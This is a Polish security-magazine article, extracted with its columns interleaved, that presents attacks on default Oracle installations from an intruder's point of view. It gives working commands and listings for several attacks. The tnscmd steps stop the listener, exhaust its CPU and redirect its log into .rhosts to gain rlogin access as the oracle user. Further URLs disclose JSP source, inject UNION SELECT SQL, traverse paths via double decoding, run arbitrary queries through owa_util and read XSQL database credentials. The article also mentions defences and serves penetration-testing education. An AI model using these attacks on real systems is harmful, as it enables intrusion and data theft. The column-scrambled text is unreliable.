Oracle


Z punktu
widzenia
Oracle z punktu
intruza
widzenia intruza
Wojciech Dworakowski
rodukty Oracle dominują na rynku produk-
Zawodowo nie zajmuję się administracją ser-
tów bazodanowych. Na tej platformie działa
werów Oracle. Moja praca wiąże się raczej z ana-
Pwiele serwisów związanych z udostępnia-
lizowaniem bezpieczeństwa systemów IT (testy
niem danych (również przez Internet). Bazy te są
penetracyjne, przeglądy konfiguracji). Z tego wzglę-
też niezwykle popularne w zastosowaniach kor-
du prezentowany materiał przyjmuje raczej punkt
poracyjnych. Hasło marketingowe Oracle w roku
widzenia atakującego system niż administratora.
2002 brzmiało: Oracle  The Unbreakable. Czy rze-
Artykuł jest podsumowaniem ponad dwuletnich
czywiście tak jest? W poniższym artykule spróbu-
doświadczeń w testowaniu bezpieczeństwa syste-
ję przybliżyć zagrożenia związane ze standardowy-
mów Oracle. Większość informacji pochodzi ze
mi instalacjami produktów Oracle.
zródeł powszechnie dostępnych w Internecie.
Już na wstępie chcę zaznaczyć, że nie
zamierzam odsądzać firmy Oracle od czci i wiary,
potępiać posunięć marketingowych i sugerować, Trochę historii
że DBMS Oracle jest niebezpieczny czy też dziu- Produkty firmy Oracle przez wiele lat były uważane
rawy jak przysłowiowe rzeszoto. Moim celem jest za aplikacje nie posiadające znaczących błędów
wykazanie, że każdy produkt jest w większym lub związanych z bezpieczeństwem. Opinia ta wynikała
mniejszym stopniu narażony na błędy programistów najprawdopodobniej z nikłego zainteresowania badaczy
i projektantów, niezależnie od tego, co twierdzą tymi produktami, co znowu było spowodowane ich
hasła na sztandarach. Oracle 9i to dobry produkt niską dostępnością. Żeby uzyskać dostęp do pełnych
bazodanowy, świadczy o tym chociażby udział wersji systemów DBMS firmy Oracle należało kupić
w rynku, jednak nawet tak dużym firmom i tak stosunkowo drogie licencje. Sprawy przyjęły inny
renomowanym produktom zdarzają się wpadki. obrót, gdy Oracle zaczęło udostępniać pełne wersje
Należy o tym pamiętać i nie ufać bezgranicznie swoich produktów w Internecie. Wersje te można
hasłom reklamowym. Nie bez kozery motto Naro- stosować do celów deweloperskich i testowych.
dowej Agencji Bezpieczeństwa USA brzmi ufamy Od około dwóch lat widać znaczne zainteresowanie
Bogu  wszystko inne sprawdzamy. tymi produktami wśród specjalistów zajmujących
Wszystkie opisywane błędy dotyczą instalacji się testowaniem bezpieczeństwa aplikacji i wyszu-
standardowej. Da się ich uniknąć stosując popraw- kiwaniem w nich błędów.
ki i zalecenia producenta oraz eliminując zbędną Przyniosło to też znaczącą poprawę w podej-
funkcjonalność w instalacjach produkcyjnych. ściu producenta do problemów bezpieczeństwa
Pierwsza część artykułu będzie dotyczyć ataków samego kodu wchodzącego w skład produktów
możliwych do przeprowadzenia z sieci lokalnej. Skupię Oracle. Wcześniej Oracle pojmowało bezpieczeństwo
się głównie na niedoskonałościach serwisu Oracle tylko przez pryzmat mechanizmów zabezpieczają-
Listener. W drugiej części opiszę kilka zagrożeń cych dane w samej aplikacji oraz zwiększających
związanych z serwerami aplikacji internetowych ich dostępność.
zbudowanych w oparciu o Oracle. W roku 2002 Oracle opublikowało ponad 20
Część ta będzie dotyczyć głównie modułów informacji o zagrożeniach w swoich produktach.
serwisu Apache, który wchodzi w skład rozwiązań Ponadto standardowe dystrybucje Oracle zawierają
aplikacyjnych Oracle. w sobie komponenty Open Source  takie jak np.
Apache  które też nie są wolne od błędów.
Autor jest współwłaścicielem firmy SecuRing, koordynato-
Oracle Listener
rem prac zespołu i osobą odpowiedzialną za sporządzanie
raportów. Sześć lat doświadczenia praktycznego w zakresie
Na początek garść faktów na temat oprogramowania
bezpieczeństwa IT. Prelegent na licznych konferencjach
Oracle Listener. Jest to komponent odpowiedzialny
poświęconych bezpieczeństwu IT (m.in. CERT Secure,
przede wszystkim za komunikację między klientami
PLOUG/Oracle, Open Source Security, Windows Security).
Prowadzi rubrykę poświęconą bezpieczeństwu w Biu-
a serwerem Oracle (również za komunikację mię-
letynie Polskiej Grupy Użytkowników Systemu Oracle.
dzyserwerową). Jest to element każdej instalacji
Uprzednio koordynował pracę zespołów konsultantów
Oracle DBMS. Listener jest procesem działającym
bezpieczeństwa firm ABA i BSI.
na serwerze bazodanowym, którego zadaniem jest
68 www.haking.pl Haking nr 1
Listener odpowiada na te zapytania zdradzając m.in.:
Listing 1. Pozyskanie informacji o systemie
 komenda TNS status
" dokładną wersję Oracle,
" rodzaj systemu operacyjnego,
tnscmd status -h 10.1.1.100 -p 1521
" czas od uruchomienia instancji Oracle,
sending (CONNECT_DATA=(COMMAND=status))
" ścieżki do plików z logami,
to 10.1.1.100:1521
" opcje listenera (m.in. stan opcji security),
connect
" rodzaj serwisów Oracle obsługiwanych przez listenera,
writing 89 bytes
" argumenty wywołania,
reading
. .......6.........@. ...........J........ " kompletne środowisko (wartości wszystkich zmiennych
DESCRIPTION=
systemowych), w jakim został wywołany listener.
TMP=
VSNNUM=135291648
Przykład pozyskania niektórych z tych informacji znajduje
ERR=0
się na Listingu 1.
ALIAS=LISTENER
SECURITY=OFF Dane te mogą posłużyć do przygotowania skutecznego
VERSION=TNSLSNR for Solaris:
ataku przeciwko systemowi operacyjnemu lub przeciwko
Version 8.1.6.3.0 - Production
samemu oprogramowaniu Oracle.
START_DATE=28-OCT-2002 16:22:44
SIDNUM=1
Prosty atak DoS
LOGFILE=/opt/oracle/8i/network/log/listener.log
PRMFILE=/opt/oracle/8i/network/admin/listener.ora Standardowa konfiguracja umożliwia trywialny atak denial
TRACING=off
of service na Oracle Listener. Opcja SECURITY=OFF (patrz
UPTIME=379500951
Listing 1) mówi o tym, że listenerowi można wydawać komendy
SNMP=OFF
bez jakiegokolwiek uwierzytelnienia. Standardowo dostęp
administracyjny do listenera nie jest zabezpieczony hasłem,
przyjmowanie zleceń od klientów. W systemach uniksowych więc potencjalny intruz może wydać komendę:
jest to proces o nazwie tnslsnr, a w systemach Windows
odpowiedni serwis. Listener nasłuchuje zleceń na porcie tnscmd stop -h oracleserwer -p 1521
TCP 1521. Do komunikacji między Oracle Client a Listenerem
jest wykorzystywany protokół TNS (Transparent Network Listener posłusznie zakończy swoje działanie. Jest to typowy,
Substrate). bardzo trywialny atak Denial of Service (DoS). Intruz nie
Największe zagrożenia związane z Oracle Listener zdobył dostępu do systemu ani do danych, ale skutecznie
nie wymagają od atakującego żadnej wiedzy tajemnej. uniemożliwił korzystanie z systemu.
Nie są to klasyczne przepełnienia bufora wejściowego Przed tego typu atakiem można się zabezpieczyć usta-
lub inne typowe błędy popełniane przez programistów wiając opcję security w listenerze i hasło na dostęp do
(aczkolwiek takie też w nim można znalezć). Największe poleceń administracyjnych.
słabości listenera prawdopodobnie wynikają ze złych założeń
przyjętych podczas projektowania tego oprogramowania. Nadpisanie dowolnego pliku
Słowem: It s not a bug  It s a feature. Przejdzmy jednak Proces listenera (tnslsnr) zapisuje wszystkie zdarzenia
do konkretów. w swoim logu. Położenie tego logu konfiguruje administra-
Do atakowania Oracle Listenera można zastosować tor. Można je odczytać zdalnie przez opisaną poprzednio
prosty skrypt perl o nazwie tnscmd. Można go uzyskać pod komendę protokołu TNS  status. Na Listingu 1 jest to
adresem http://www.jammed.com/~jwa/hacks/security/ wartość zmiennej LOGFILE. Co ciekawsze  za pomocą
tnscmd/tnscmd. Skrypt ten pozwala na wydawanie komend odpowiedniego zlecenia TNS położenie pliku logowania
protokołu TNS. można zmieniać. Na dodatek, Listener ślepo przyjmuje
każdą wartość, niezależnie od tego, czy wyspecyfikowany
Uzyskanie informacji o systemie plik istnieje (w takim wypadku zostanie nadpisany), czy też
Standardowo Oracle Listener przyjmuje komendy od każdego nie (w takim wypadku zostanie stworzony).
i nie wymaga żadnej autoryzacji. Może to prowadzić do wielu W rezultacie  intruz, który może komunikować się
nadużyć. Po pierwsze, dowolny użytkownik sieci, który jest z portem 1521 serwera Oracle, ma możliwość nadpisania
w stanie nawiązać komunikację z portem listenera 1521 TCP, bądz utworzenia dowolnego pliku, do którego ma uprawnienia
może uzyskać bardzo dużo informacji o systemie. Odpowia- proces Oracle Listener. Standardowo na systemach unikso-
dają za to komendy version i status protokołu TNS: wych jest to użytkownik oracle, a na systemach Microsoftu
użytkownik LOCAL_SYSTEM (sic!). W ten sposób intruz może
tnscmd version -h adres_serwera -p 1521 zniszczyć pliki z danymi bazy, pliki konfiguracyjne czy też
tnscmd status -h adres_serwera -p 1521 same binaria Oracle.
Haking nr 1 www.haking.pl
69
<>
<>
Listing 2. Nadpisanie dowolnego pliku do którego ma dostęp użytkownik oracle (w tym wypadku jest to plik
.rhosts w katalogu domowym użytkownika oracle)
wojdwo@behemot$ ./tnscmd -h oracleserver --rawcmd 
(DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_file)(ARGUMENTS=4)
(SERVICE=LISTENER) (VERSION=1) (VALUE=/home/oracle/.rhosts)))"
sending
(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)
(VERSION=1)(VALUE=/home/oracle/.rhosts)))
to oracleserver:1521
writing 205 bytes
reading
.m......"..a(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0)(COMMAND=log_file)(LOGFILENAME=/home/oracle/.rhosts))
Skrypt tnscmd ma możliwość bezpośredniego wpisy- Jak już wspominaliśmy, listener zapisuje do logów infor-
wania ciągów znaków, które wejdą w skład zlecenia TNS. macje o błędach, wraz z cytatem nieprawidłowej komendy.
Mając pewną wiedzę o tym protokole można skonstruować Można to wykorzystać to do wpisania swojego IP i nazwy
zlecenie zmiany pliku logowania. Przykład  przekierowanie użytkownika do pliku .rhosts (Listing 3). Ważne jest, żeby
logów do pliku /home/oracle/.rhosts  jest pokazany na wpisywane dane były umieszczone w osobnej linii.
Listingu 2. Jak widać listener zwrócił komunikat o błędzie, jednakże
wpisał do swoich logów, a więc do pliku /home/oracle/
Przykładowy scenariusz ataku .rhosts, całą linię z błędną komendą. W tym momencie
 przejęcie kontroli nad bazą plik /home/oracle/.rhosts (a więc obecny log Listenera)
Po przekierowaniu logów do dowolnego pliku wszystkie wygląda tak jak na Listingu 4.
informacje logowane przez Oracle Listener będą zapisywa- Linię 10.1.1.223 wojdwo intruz umieścił w pliku .rhosts
ne do tego pliku. Listener nie zapisuje do logów zbyt wiele wykorzystując niedoskonałości Oracle Listener. Zostanie
informacji, przykładowo nie zapisuje adresu IP ani nazwy ona prawidłowo zinterpretowana przez system, w rezultacie
hosta, z którego nadeszło połączenie. W związku z tym intruz intruz może zalogować się zdalnie jako użytkownik oracle,
atakujący Oracle jedną z powyższych metod nie zostanie bez żadnego uwierzytelnienia. Listing 5 ilustruje zdalne
ujawniony przez logi listenera. połączenie z serwerem oracleserwer i uzyskanie uprawnień
W logu są za to zapisywane są wszystkie informacje użytkownika oracle.
o błędach, wraz z cytatem nieprawidłowej komendy. Umożliwia Podsumowując: zdalnie działający intruz zdołał, odpo-
to wpisanie do pliku pożądanej przez intruza informacji, co wiednio manipulując serwisem Oracle Listener, osiągnąć
w pewnych warunkach może prowadzić do przejęcia kontroli uprawnienia użytkownika oracle w systemie operacyjnym.
nad systemem. Oczywiście ten przykładowy scenariusz zadziała tylko
Poniżej przedstawię scenariusz ataku opierający się na wtedy, gdy system operacyjny udostępnia możliwość zdalnego
wpisaniu odpowiedniej informacji do pliku .rhosts i wykorzy- logowania się przez rlogin oraz korzysta z plików .rhosts do
staniu serwisu rlogin. Uwaga: poniższy scenariusz należy autoryzowania zdalnych użytkowników (standardowa konfigu-
traktować jedynie jako przykład. Zaprezentowane tu błędy
umożliwiają o wiele szersze możliwości penetrowania sys-
Listing 3. Wykorzystanie listenera do wpisana
temów.
swoich danych do dowolnego pliku
Najpierw intruz wydaje za pomocą programu tnscmd
polecenie TNS nakazujące listenerowi na serwerze orac- wojdwo@behemot$ ./tnscmd -h oracleserwer \
--rawcmd "(CONNECT_DATA=((
leserwer zmianę pliku logowania na /home/oracle/.rhosts
10.1.1.223 wojdwo
(Listing 2).
"
Jak widać na dalszej części listingu, listener na serwerze
oracleserwer wykonał to zlecenie. Od tej pory wszystkie
sending (CONNECT_DATA=((
10.1.1.223 wojdwo
zapisy o działaniu listenera będą płynąć do pliku /home/
to oracleserwer:1521
oracle/.rhosts .
writing 93 bytes
W systemach uniksowych w pliku .rhosts w katalogu
reading
domowym użytkownika zapisane są zdalne konta i nazwy
.$....."..(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
bądz adresy IP hostów, które mogą się łączyć do tego syste- (ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4)
(ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo'))
mu bez dalszego uwierzytelniania przez serwisy rlogin, rsh,
(ERROR=(CODE=303)(EMFI=1))))
rcmd. Celem intruza jest wpisanie do tego pliku swojego
loginu i adresu IP swojego hosta.
70
www.haking.pl Haking nr 1
racja większości uniksów). Tak jak powiedziałem wcześniej
Listing 5. Rezultatem ataku jest możliwość
 jest to tylko przykład. Można skonstruować podobny atak
zdalnego zalogowania się do systemu
manipulujący kluczami ssh i w rezultacie dający dostęp do
z uprawnieniami użytkownika Oracle
systemu via ssh. Można również przeprowadzić podobne
ataki na Oracle działające na platformach Windows. Byłyby
wojdwo@behemot$ rlogin -l oracle oracleserwer
one o wiele skuteczniejsze i grozniejsze nie tylko dla bazy
Linux oracleserwer Mon Aug 12 15:46:15 EST 2002
danych, ale też dla samego systemu, z uwagi na to, że intruz i686 unknown
uzyskałby uprawnienia Local System.
oracle@oracleserwer:~$ id
Powyższe zagrożenia są tym bardziej godne uwagi, że
uid=1001(oracle) gid=103(oinstall)
występują po dziś dzień, we wszystkich wersjach Oracle
groups=103 (oinstall),104(dba),105(oper)
zawierających Oracle Listener, łącznie z najnowszą, chociaż
zagrożenie jest znane od 2000 roku. Aata wypuszczona przez
Oracle (#1361722) wprowadza do pliku konfiguracyjnego Inny ciekawy błąd wiąże się z komendą SERVICE_CURLOAD.
Listenera (listener.ora) dodatkowy parametr  ADMIN_ Do wysłania tej komendy można wykorzystać program
RESTRICTIONS. Włączenie tego parametru uniemożliwia tnscmd:
dynamiczną zdalną rekonfigurację listenera. Jednak  dla
zachowania zgodności wstecz  standardowo parametr ten tnscmd -h 192.168.0.200 \
jest wyłączony. --rawcmd "(CONNECT_DATA=(COMMAND=SERVICE_CURLOAD))"
Inne ciekawe błędy Listenera W rezultacie proces listenera (tnslsnr) konsumuje 99% czasu
Jak już wspomniałem  powyżej zaprezentowane błędy są procesora. Znowu  bardzo trywialny atak denial of service.
o tyle ciekawe, że nie są przeoczeniem koderów, lecz błędami
popełnionymi w fazie projektowania produktu. Oczywiście, Oracle Listener  uwagi
Oracle Listener nie jest wolny od bardziej tradycyjnych zagrożeń Przedstawione powyżej ataki związane z Oracle Listener
wiążących się np. z brakiem walidacji danych wejściowych. wymagają oczywiście, żeby intruz mógł komunikować
Informacje o innych błędach są dostępne m.in. na stronie się z tym procesem. Musi on mieć możliwość wysyłania
http://otn.oracle.com/deploy/security/alerts.htm oraz w pro- pakietów do portu 1521/tcp. Z tego też powodu większość
wadzonym przeze mnie Biuletynie Bezpieczeństwa Oracle, administratorów ignoruje te zagrożenia, ponieważ chronią
który ukazuje się w gazetce Polskiej Grupy Użytkowników przed nimi firewalle, które w większości wypadków blokują
Systemu Oracle. Jest ona dostępna on-line pod adresem ruch na ten port. Jak w rzeczywistości wygląda ograniczanie
podanym w Ramce W Sieci. dostępu do portów serwerów bazodanowych mogliśmy się
Poniżej przedstawię dwa zagrożenia, które wydały mi się przekonać pod koniec stycznia 2003 przy epidemii robaka
szczególnie ciekawe. Oba są poprawione przez producenta Slammer (Sapphire), atakującego serwery MS-SQL. Poza
i istnieją na nie odpowiednie łaty. tym większość intruzów nie atakuje przez frontowe drzwi.
Ciekawym błędem (przykład jego wykorzystania przedsta- Zamiast próbować zaatakować bezpośrednio serwer Oracle,
wia Listing 6) popełnionym przez programistów tworzących dużo łatwiej jest przejąć kontrolę nad jakąś stacją roboczą
Oracle Listener jest błąd pozwalający na ujawnienie informacji w atakowanej sieci i stąd bez większych problemów prze-
przekazywanej w poprzednim połączeniu innego użytkowni- prowadzić atak na Oracle Listener.
ka z listenerem. Błąd programisty polega prawdopodobnie Oczywiście istnieją możliwości przynajmniej częściowego
na tym, że bufor, do którego są przyjmowane komunikaty, zabezpieczania się przed powyższymi zagrożeniami. Pod-
nie jest każdorazowo czyszczony. W rezultacie ustawiając stawowym sposobem ochrony jest włączenie w listenerze
w odpowiednim parametrze większą niż w rzeczywistości opcji security i ustawienie hasła dostępu. Poza tym można
długość wydawanej komendy TNS (oracleserwer --cmdsize limitować adresy IP, które mogą łączyć się do listenera (dy-
30), można odczytać część komendy wydanej do listenera rektywy tcp.validnode_checking i tcp.invited_nodes) oraz
przez poprzedniego użytkownika (COMMAND =status). zabronić dynamicznej modyfikacji plików konfiguracyjnych
(np. logów) przez włączenie opcji ADMIN_RESTRICTIONS.
Listing 4. Zawartość pliku /home/oracle/.rhosts
Apache a'la Oracle
po nadpisaniu go przez Oracle Listener
W ostatnich latach bardzo popularną formą udostępniania
informacji stały się serwisy WWW połączone z bazami
12-SIE-2002 15:44:05 * log_file * 0
12-SIE-2002 15:44:37 * service_register * ora1 * 0 danych. W takiej architekturze po stronie serwera WWW
12-SIE-2002 15:44:58 * 1153
uruchamiane są pewne metody dynamiczne (np. PHP, ASP,
TNS-01153: Failed to process string: (CONNECT_DATA=((
JSP), które pobierają dane z bazy danych i generują strony
10.1.1.223 wojdwo
WWW. Całość tworzy aplikacje webową. Klientem takiej
NL-00303: syntax error in NV string
aplikacji jest oczywiście zwykła przeglądarka WWW. Oracle
Haking nr 1 www.haking.pl
71
71
<>
<>
narażać się na destabilizację serwera. Potwierdza się tu stara
Listing 6. Manipulacja protokołem TNS; w rezultacie
zasada, że bezpieczeństwo jest odwrotnie proporcjonalne do
listener zdradza fragment poprzedniej komendy
udostępnianej przez oprogramowanie funkcjonalności.
Poniżej przedstawię kilka przykładów ciekawych ataków
wojdwo@behemot$ ./tnscmd
wykorzystujących luki w modułach Oracle HTTP Listener.
\--rawcmd " " -h oracleserwer --cmdsize 30
sending to oracleserwer:1521 Wszystkie opisane zagrożenia są usuwalne przez nałożenie
Faking command length to 30 bytes
odpowiednich łat producenta. Dość charakterystyczna jest
writing 59 bytes
jednak ich trywialność oraz to, że praktycznie wszystkie
reading
zostały ujawnione na przestrzeni ostatniego roku.
......"...(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)
(ARGS='CONNECT_DATA=(COMMAND=status)')) Ujawnienie kodu zródłowego
(ERROR=(CODE=303)(EMFI=1))))
skryptów JSP
Java Server Pages (JSP) to jedna z metod, za pomocą których
serwer może generować strony WWW z zawartością dyna-
i inni producenci produktów bazodanowych dostrzegli ten miczną, którą stanowią informacje pobrane z bazy danych.
trend i uzupełnili swoje produkty o możliwość dostępu do Gdy klient (przeglądarka WWW) poprosi o stronę o rozszerze-
danych przez przeglądarki WWW. W przypadku Oracle ser- niu .jsp, to standardowo serwer wyszukuje odpowiedni kod
werem WWW jest Oracle HTTP Listener. Jest to drugi (poza Java, kompiluje go i wykonuje. Rezultat wykonania w postaci
standardowym Listenerem) sposób komunikacji z serwe- strony HTML jest zwracany do przeglądarki. Podczas tego
rem Oracle, a więc również potencjalne miejsce ataków procesu w ścieżce /_pages serwera WWW tworzone są pliki
z zewnątrz systemu. tymczasowe. Jeden z takich plików  z rozszerzeniem java
Oracle HTTP Listener to dobrze znany serwer Apache serii  zawiera kod zródłowy wykonywanego skryptu.
1.3.x z dopisanymi przez Oracle modułami, które integru- W standardowej konfiguracji Apache rozpowszechnianego
ją go z Oracle DBMS. Kod wykonywany po stronie serwe- z Oracle katalog /_pages jest udostępniany przez serwer,
ra może być tworzony przy pomocy wielu różnych metod. w związku z tym intruz może odczytać kod zródłowy stron
Najważniejsze to: JSP obsługiwanych przez serwer.
Przykład: Najpierw należy uruchomić atakowany skrypt JSP,
" PL/SQL  język proceduralny Oracle; za jego interpreta- po to, by serwer pobrał kod i go skompilował:
cję w przypadku skryptów server-side odpowiada moduł
mod_plsql. http://10.1.1.100/demo/sql/bean/ConnBeanDemo.jsp
" Skrypty JSP i serwlety Java  obsługiwane przez JServ
(mod_jserv statycznie zlinkowany z Apache) lub Oracle Teraz można odczytać zródło skryptu JSP odwołując się do
Containers for Java (OC4J). Można powiedzieć, że jeśli odpowiedniego pliku w ścieżce /_pages:
chodzi o serwery aplikacji Oracle stawia na Javę. W związ-
ku z tym metody te są rozszerzone o różne ciekawe http://10.1.1.100/_pages/_demo/_sql/_bean/
możliwości, np. XSQL  integracja z XML, czy też SQLJ _ConnBeanDemo.java
 bezpośrednie wykonywanie zapytań SQL z wnętrza
skryptów Java. Żeby obronić się przed tym zagrożeniem wystarczy zabronić
" Inne tradycyjne metody, jak np. skrypty CGI czy Perl w konfiguracji Apache dostępu do ścieżki /_pages. Wszelkie
(mod_cgi i mod_perl są standardowo włączone). skrypty JSP powinny też być przechowywane w postaci pre-
kompilowanej. W ten sposób uniknie się potencjalnie niebez-
Ponadto Oracle udostępnia całe mnóstwo technologii uzu- piecznej konieczności kompilowania skryptów w momencie
pełniających, takich jak zaawansowane buforowanie stron dostępu do nich, co przy okazji poprawi też wydajność.
dynamicznych (Oracle Web Cache), framework do tworzenia
stron portalowych (Oracle Portal), implementacje WebDAV Skrypty demo
i inne. Wiele zagrożeń wiąże się z umieszczonymi w standardowej
Nietrudno się domyślić, że większość z tych modułów instalacji Oracle skryptami demonstrującymi funkcjonalność
dodatkowych posiada bardzo długą i szybko rozwijającą się Oracle jako serwera aplikacji. Skrypty te są umieszczone
listę zagrożeń z nimi związanych. Jest to sytuacja typowa w ścieżce /demo. Wiele z tych przykładów nie jest niestety
dla oprogramowania, które jest bardzo szybko rozwijane. dobrymi wzorcami do naśladowania, zwłaszcza jeśli chodzi
Oczywiście  w standardowej instalacji jest włączona więk- o zasady bezpiecznego programowania. Duża ilość skryptów
szość z tych rozszerzeń. Jak wskazuje praktyka, mało która demonstrujących pobieranie danych z bazy na podstawie
instalacja produkcyjna ma konfigurację mocno odbiegającą zmiennych pochodzących od użytkownika jest podatna na
od standardowej, a administratorzy z braku wiedzy o wszyst- ataki typu SQL injection. Dobra praktyka administracyjna
kich zaawansowanych komponentach, wolą je zostawić niż nakazuje usunięcie z serwerów produkcyjnych wszelkiej
72
72
72
www.haking.pl Haking nr 1
zbędnej funkcjonalności i zawartości, jednak pozostawia- Technika ta polega na przesłaniu do serwera zlecenia
nie skryptów demo jest niestety spotykane bardzo często zawierającego znaki specjalne (np. ukośnik) dwukrotnie
w instalacjach produkcyjnych (a wręcz nagminnie w serwerach zakodowane heksadecymalnie. W rezultacie możliwe jest
deweloperskich wystawionych do Internetu). obejście restrykcji serwera i odczytanie dowolnego pliku
Przykładem niech będzie skrypt /demo/sql/tag/sample2.jsp. bądz katalogu w przestrzeni serwera WWW.
Skrypt ten jest interfejsem do tabeli zawierającej dane Przykład: Odczytanie pliku konfiguracyjnego plsql.conf:
o zarobkach w pewnej fikcyjnej firmie. Skrypt wyświetla
http://10.1.1.100/pls/simpledad/admin_/help/
w przeglądarce formularz WWW, w którym użytkownik wpi-
..%255Cplsql.conf
suje zapytanie. Np. wpisanie sal=800 powoduje wykonanie
zapytania select ename,sal from scott.emp where sal=800.
Problem polega na tym, że zapytanie to jest konstruowane Wykorzystanie standardowych
przez proste wklejenie ciągu znaków pobranego od użyt- pakietów PL/SQL
kownika, bez żadnej walidacji. Intruz może wykorzystać ten W skład standardowej instalacji Oracle wchodzi dość pokaz-
skrypt do przeczytania dowolnych danych z bazy, do których na biblioteka zawierająca różne pakiety procedur PL/SQL.
ma dostęp użytkownik z jakiego uprawnieniami działa skrypt W starszych wersjach Oracle wszystkie pakiety są udo-
sample2.jsp (standardowo  użytkownik SCOTT)  również stępnianie również przez Internet, za pomocą mod_plsql.
danych systemowych. Przykładowo  wpisanie ciągu sal=800 Składnia wywołania procedury PL/SQL przez serwer WWW
union select username,userid from all_users spowoduje wygląda następująco:
wykonanie zapytania select ename,sal from scott.emp where
sal=800 union select username,userid from all_users . http://ip.ip.ip.ip/pls/DAD/nazwa_pakietu.nazwa_procedury
Jeśli już jesteśmy przy atakach techniką SQL-injection,
to warto wspomnieć, że w wypadku Oracle nie jest możliwe DAD (ang. Database Access Descriptor) to struktura opisująca
doklejanie po znaku średnika osobnej komendy SQL, tak jak sposób łączenia się do bazy. W standardowej instalacji jest
to jest w przypadku PostgreSQL czy też MS-SQL. Powszechnie dostępny przykładowy deskryptor o nazwie simpledad.
stosowaną techniką jest (tak jak w powyższym przykładzie) Poniżej przedstawię przykład ataku za pomocą procedur
doklejenie swojej części zapytania przez UNION SELECT. z pakietu owa_util.
Interfejsy administracyjne " Sprawdzenie działania pakietu owa_util:
Stosunkowo proste, ale bardzo skuteczne ataki można również
przeprowadzać za pomocą interfejsów do administrowania http://10.1.1.100/pls/simpledad/owa_util.signature
przez WWW. W standardowej instalacji Oracle spora część
stron administracyjnych nie wymaga uwierzytelnienia (sic!). " Ujawnienie kodu żródłowego dowolnego pakietu PL/SQL
URL-e kilku z takich stron przedstawione są poniżej: (np. file_util):
" http://10.1.1.100/pls/admin_/gateway.htm, http://10.1.1.100/pls/simpledad/owa_util.showsource?
" http://10.1.1.100/oprocmgr-status, cname=file_util
" http://10.1.1.100/servlet/Spy.
" Wykonanie nieautoryzowanych zapytań do bazy:
Moduł mod_plsql
Module Apache mod_plsql służy do interpretowania na ser- http://10.1.1.100/pls/simpledad/owa_util. listprint?
werze WWW kodu PL/SQL, który jest natywnym językiem p_theQuery=select%20*%20from%20all_users&p_cname=&p_nsize=
baz Oracle. W module tym ujawniono wiele klasycznych
błędów. Inne potencjalnie interesujące pakiety PL/SQL to np:
Jednym z nich jest przepełnienie bufora wejściowego
w skrypcie służącym do wyświetlania pomocy. Wysłanie " http  procedury obsługi protokołu HTTP,
zlecenia typu: " tcp  procedury obsługi protokołu TCP; pozwalają m.in.
na nawiązanie połączenia zwrotnego (wychodzącego),
http://10.1.1.100/pls/simpledad/admin_/help/ " file_util  procedury dostępu do plików, umożliwiają np.
AAAAAAAA....(>1000 znaków) pobranie dowolnego pliku z serwera.
powoduje błąd segmentacji w procesie obsługującym to Administrator może obronić się przed wykorzystaniem tych
zlecenie. Za pomocą techniki buffer-overflow możliwe jest pakietów przez ustawienie parametru exclusion_list w pliku
wykonanie kodu intruza na serwerze, w kontekście procesu konfiguracyjnym wdbsrv.app. W standardowej konfiguracji
serwera WWW (httpd). Innym atakiem, na jaki jest podat- Oracle 9i parametr ten jest ustawiony. W starszych wersjach
ny mod_plsql, jest zastosowanie techniki double decode. nie jest on włączony.
Haking nr 1 www.haking.pl
73
73
<>
<>
Odczytanie konfiguracji XSQL za Charakterystyczne jest to, że konta te wiążą się z marginal-
pomocą servleta XSQLServlet ną funkcjonalnością Oracle. Np. CTXSYS to konto potrzebne
Plik XSQLConfig.xml zawiera informacje o konfiguracji rozsze- do działania pakietu potrzebnego do kontekstowego przeszu-
rzeń XSQL, między innymi nazwę i hasło użytkownika z jakiego kiwania dokumentów, a MDSYS do obsługi danych wielowy-
uprawnieniami moduł XSQL łączy się do bazy danych. Plik miarowych (np. w systemach GIS). Producent zaleca usunię-
ten znajduje się w przestrzeni serwera WWW, w ścieżce cie lub zablokowanie kluczowych kont o ile dana funkcjonal-
/xsql/lib/XSQLConfig.xml. Serwer zabrania dostępu do tego ność nie jest używana, jednak spora liczba administratorów
pliku, a bezpośrednia próba dostępu powoduje zwrócenie (nie tylko Oracle) nie bierze pod uwagę tych zaleceń.
komunikatu 403 Forbidden. Ponieważ jest to plik XML da
się go odczytać wykorzystując standardowo udostępniany Podsumowanie
servlet XSQLServlet: Powyższy artykuł omawia tylko kilka najbardziej reprezen-
tatywnych zagrożeń charakterystycznych dla spotykanych
http://10.1.1.100/servlet/oracle.xml.xsql.XSQLServlet/ w praktyce instalacji Oracle. Starałem się zaprezentować
xsql/lib/XSQLConfig.xml zarówno klasyczne zagrożenia wynikające z błędów popeł-
nionych przez producenta (np. buffer-overflow), jak też wyni-
Aplikacje WWW  uwagi kające z niebezpiecznej konfiguracji serwisów w instalacji
Powyższe przykłady ataków na oprogramowanie integrują- standardowej, obecności skryptów demo czy nawet niepra-
ce bazę Oracle z Internetem to jedynie wybór kilku bardziej widłowych założeń projektowych. Oracle to zaawansowany
interesujących metod. W rzeczywistości lista jest znacz- produkt bazodanowy, integrujący mnóstwo różnych techno-
nie dłuższa. logii. W związku z tym strojenie bezpieczeństwa Oracle to
Mimo wszystko błędy popełnione przez producenta zadanie bardzo trudne.
platformy, jaką jest serwer aplikacji, nie są tak kluczowe, Oczywiście  nie ma oprogramowania bez błędów, jednak
jak błędy popełniane przez twórców udostępnianych przez ich jakość czy wręcz trywialność w przypadku produktów
ten serwer aplikacji WWW. Sercem każdej instalacji typu Oracle pozwala twierdzić, że nie są one zbyt bezpieczne
serwer aplikacyjny jest oprogramowanie stworzone ściśle w konfiguracji standardowej. Tym bardziej kuriozalnie brzmi
do określonych potrzeb. Programy te w postaci skryptów hasło reklamowe producenta Oracle  The Unbreakable:
PL/SQL, JSP, serwletów Java itp. działają na serwerach WWW You can t break it, you can t break in (Nie do złamania  Nie
i komunikują się z bazą danych. Pamiętajmy o tym, że każdy możesz jej złamać, nie możesz się włamać). Bruce Schneier
błąd popełniony przez programistę w tego typu skryptach  światowej sławy kryptolog i specjalista od bezpieczeństwa
